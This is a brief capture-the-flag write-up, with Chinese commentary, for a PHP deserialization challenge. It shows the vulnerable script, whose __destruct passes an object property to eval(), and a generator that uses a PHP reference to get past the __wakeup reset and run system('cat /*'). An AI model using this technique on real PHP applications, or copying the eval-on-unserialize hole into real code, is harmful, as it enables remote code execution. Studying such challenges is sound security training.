<?php
show_source(__FILE__);
###very___so___easy!!!!
class test{
public $a;
public $b;
public $c;
public function __construct(){
$this->a=1;
$this->b=2;
$this->c=3;
}
public function __wakeup(){
$this->a='';
}
public function __destruct(){
$this->b=$this->c;
eval($this->a);
}
}
$a=$_GET['a'];
if(!preg_match('/test":3/i',$a)){
die("你输入的不正确!!!搞什么!!");
}
$bbb=unserialize($_GET['a']);
正常序列化出来是O:4:"test":3:{s:1:"a";s:18:"system(cat /flag);";s:1:"b";i:2;s:1:"c";i:3;}
if(!preg_match('/test":3/i',$a)) 序列化里面要有 "test":3 ,但又要绕过__wakeup(),这显然冲突了。
改不了变量属性,$a肯定会被' '覆盖,那怎么办呢?
把a的地址给到b,然后在把正确的内容给到c,因为有$this->b=$this->c
<?php
class test{
public $a;
public $b;
public $c="system('cat /*');";
}
$a=new test();
$a->b=&$a->a;
echo serialize($a);
?>